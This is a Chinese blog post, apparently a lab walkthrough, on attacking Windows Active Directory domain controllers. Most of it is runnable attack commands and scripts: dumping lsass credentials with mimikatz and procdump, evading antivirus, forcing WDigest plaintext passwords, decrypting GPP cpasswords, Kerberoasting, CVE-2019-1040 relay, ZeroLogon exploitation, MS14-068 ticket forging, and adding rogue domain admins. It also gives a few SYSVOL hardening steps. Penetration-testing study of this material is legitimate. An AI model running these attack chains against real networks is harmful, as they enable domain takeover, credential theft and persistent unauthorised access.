• Windows 内网渗透之攻击域控


    内网渗透之攻击域控

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    前言

    在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限

    高权限读取本地密码

    模拟域管理员在域成员机器上登录进行工作

    使用远程登录进行登录

    当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。

    # 提权(一定要使用本地管理员进行登录,域用户可能权限不够)
    privilege::debug
    sekurlsa::logonpasswords
    # 导出结果
    mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5

    procdump+mimikatz绕过杀软

    如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式进行绕过。先导出lsass.exe

    procdump下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

    # 导出lsass.exe
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    • 1
    • 2

    保存到本地后,通过mimikatz读lsass.dmp的明文

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    
    • 1

    如果这里没有显示明文,我们可以把NTLM的Hash拿去cmd5去尝试解密一下。

    能不能解密出来完全看管理员设置的怎样的密码。

    如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。

    添加注册表,设置UseLogonCredential设置为1

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    • 1

    然后再利用powershell脚本进行锁屏

    Function Lock-WorkStation
    {
    $signature = @"
    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool LockWorkStation();
    "@
    $LockWorkStation = Add-Type -memberDefinition $signature -name
    "Win32LockWorkStation" -namespace Win32Functions -passthru
    $LockWorkStation::LockWorkStation() | Out-Null
    }
    Lock-WorkStation
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    管理员重新登录后就可以抓取到明文密码了。

    有了密码后我们可以看看能不能建立ipc连接或者使用wmiexec.py进行远程命令执行

    net use \\10.10.10.137\ipc$ "pass@123" /user:redteam\administrator
    dir \\10.10.10.137\c$
    
    • 1
    • 2

    使用wmiexec.py进行远程命令执行

    # 这里我们使用Hash进行命令执行
    python3 wmiexec.py -hashes 00000000000000000000000000000000:51a52c415264a8fc31520f66f2f50459 administrator@10.10.10.137
    
    • 1
    • 2

    SYSVOL组策略获取密码

    在域环境中,有个默认的共享路径

    \\<DOMAIN>\SYSVOL\<DOMAIN>\
    
    • 1

    SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。

    可以利用powershell解密密文:

    function Get-DecryptedCpassword {
     [CmdletBinding()]
     Param (
       [string] $Cpassword
     )
     try {
       #Append appropriate padding based on string length 
       $Mod = ($Cpassword.length % 4)
       switch ($Mod) {
       '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
       '2' {$Cpassword += ('=' * (4 - $Mod))}
       '3' {$Cpassword += ('=' * (4 - $Mod))}
       }
       $Base64Decoded = [Convert]::FromBase64String($Cpassword)
       #Create a new AES .NET Crypto Object
       $AesObject = New-Object
    System.Security.Cryptography.AesCryptoServiceProvider
       [Byte[]] $AesKey =
    @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
    8,
                 
    0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
       #Set IV to all nulls to prevent dynamic generation of IV value
       $AesIV = New-Object Byte[]($AesObject.IV.Length)
       $AesObject.IV = $AesIV
       $AesObject.Key = $AesKey
       $DecryptorObject = $AesObject.CreateDecryptor()
       [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
    0, $Base64Decoded.length)
       return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
     }
     catch {Write-Error $Error[0]}
    }
    Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    针对SYSOVL的防御:

    • 打补丁KB2962486
    • 删除SYSVOL目录下的groups.xml
    • 设置共享文件SYSVOL的权限

    Kerberoasting 暴力破解密码

    SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,有可能获取到域用户的密码了。

    原理

    当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令

    使用setspn查询spn(windows7和server2008默认自带)

    查询域内所有的SPN和查询test域的SPN

    setspn.exe -q */*
    setspn.exe -T redteam.club -q */*
    
    • 1
    • 2

    以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

    vbs脚本查询域内注册的spn(kerberoast)

    cscript GetUserSPNs.vbs
    
    • 1

    PowerView查询域内注册的spn

    脚本下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

    Import-Module .\PowerView.ps1
    Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
    
    • 1
    • 2

    环境搭建

    给mySQL服务注册SPN

    setspn -s mysql/12server4.redteam.club:3306 test
    
    • 1

    将kerberos的加密方式换成RC4_HMAC_MD5

    方法1.用mimikatz 脚本穷举

    使用powershell请求指定的TGS,完成之后klist就能查看相应的票据

    Add-Type -AssemblyName System.IdentityModel 
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"
    
    • 1
    • 2

    mimikatz导出票据

    mimikatz.exe "kerberos::list /export"
    
    • 1

    使用tgsrepcrack.py破解

    项目下载地址:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

    这里我使用了kali内置的字典,各位也可以使用自己的字典。

    python3 tgsrepcrack.py passwd.txt 2-40a10000-test@mysql\~12server4.redteam.club\~3306-REDTEAM.CLUB.kirbi
    
    • 1

    如果是域控用户注册的 可以得到域得明文密码

    方法2 使用hashcat穷举

    使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

    实例演示:

    在域内一台主机上以普通用户权限执行:

    Invoke-Kerberoast -OutputFormat Hashcat
    Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
    
    • 1
    • 2

    输出结果如下图:

    保存文件 使用hashcat对其穷举

    hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force
    
    • 1

    密码:pass@123

    内网协议NTLM之内网大杀器CVE-2019-1040漏洞

    python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"
    
    • 1

    中继&委派

    执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

    python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug
    
    • 1

    域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

    python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139
    
    • 1

    监听提升 修改委派

    获取服务票据

    python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator 
    
    • 1

    export KRB5CCNAME=administrator.ccache
    vi /etc/resolv.conf
    
    • 1
    • 2

    python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
    python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
    
    • 1
    • 2

    导出域控哈希

    python3 smbexec.py -no-pass -k ad2.redteam.club
    
    • 1

    因为我们有Hash也可以使用wmiexec.py进行远程命令执行。

    CVE-2020-1472-ZeroLogon

    简介

    Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

    影响版本

    Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
    
    • 1

    使用zerologin脚本复现

    项目下载地址:https://github.com/dirkjanm/CVE-2020-1472

    查看是否存在漏洞。

    python3 zerologon_tester.py ad01 10.10.10.1
    
    • 1

    漏洞利用

    # 置空DC的密码  python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR
    python3 cve-2020-1472-exploit.py ad01 10.10.10.137
    
    • 1
    • 2

    获取HASH

    使用impacket包中的secretsdum.py来获取相关的HASh

    # python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass
    python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass
    
    • 1
    • 2

    获取shell

    获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

    # python wmiexec.py -hashes  DOMAIN/DOMAIN_USER@DC_IP_ADDR
    python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:51a52c415264a8fc31520f66f2f50459 redteam.club/administrator@10.10.10.137
    
    • 1
    • 2

    恢复原HASH

    导出sam

    # 导出注册表
    reg save HKLM\SYSTEM system.save
    reg save HKLM\SAM sam.save
    reg save HKLM\SECURITY security.save
    # 下载注册表
    get system.save
    get sam.save
    get security.save
    # 删除在目标机器上的文件
    del /f system.save
    del /f sam.save
    del /f security.save
    # 退出
    exit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    获取hash

    python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    
    • 1

    执行以下命令,获取SAM中原来的HASH

    python3 reinstall_original_pw.py ad01 10.10.10.137 813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b293418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897a6bd93ba44d6366ed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54aed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced
    
    • 1

    检测域密码

    python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :51a52c415264a8fc31520f66f2f50459
    
    • 1

    MS14-068漏洞进行提权

    server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

    第一步:利用MS14-068伪造生成TGT

    MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi
    
    • 1

    第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

    kerberos::ptc TGT_test@moonsec.fbi.ccache
    
    • 1

    第三步:获取域管理员权限

    创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。

    PsExec.exe \\dc cmd.exe
    # 添加test用户net user test abc123! /add /domain
    # 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
    # 查看域管理员net group "domain admins" /domain
    
    • 1
    • 2
    • 3
    • 4

    或者使用

    python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142 moonsec.fbi/test:123456@08server-dc.moonsec.fbi
    
    • 1

    窃取域管理员令牌

    当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

    • 入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。
    • 直接在 meterpreter shell 上执行添加域管理员
    add_user test abc123! -h 域控的IP地址
    add_group_user "Domain Admins" test -h 域控IP地址
    
    • 1
    • 2

    这里我就使用cs进行一下演示,在msf上面也有同样的命令可以达到这样的效果。

    先生成木马并执行获得本地管理员权限

    我们查看一下进程有没有域管理的进程,进行注入获取权限

    可以看到我们已经获取到了域的管理员权限。

    进程迁移

    1.入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

    获取域管理员列表

    net group "Domain Admins" /domain
    
    • 1

    2.利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:
    3.输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

    # 添加test用户
    net user test admin@123 /add /domain
    # 把 test 用户添加进域管理员组
    net group "domain admins" test /add /domain
    
    • 1
    • 2
    • 3
    • 4

    同理,这里我就使用cs进行一下演示,在msf上面也有同样的命令可以达到这样的效果。

    先生成木马并执行获得本地管理员权限

    我们查看一下进程有没有域管理的进程,进行令牌窃取获取权限

    这里我们同样可以获得域管理权限。

  • 相关阅读:
    二叉树的最大宽度(BFS)
    你还不知道零基础如何入门网络安全(黑客)吗?
    一定能用到的简单但实用的五种按钮样式(HTML+CSS步骤详解,含详细注释)
    Springboot 实践(12)RabbitMq server 安装调试(Windows环境)
    Linux系统IO和标准IO的接口函数
    Rk1126 实现 yolov5 6.2 推理
    营销培训感悟
    知识管理,助力员工培训体系构建
    Lattice库联合ModelSim仿真FIFO
    STM32cubemx和HAL库的使用入门--点亮一颗LED
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/126082408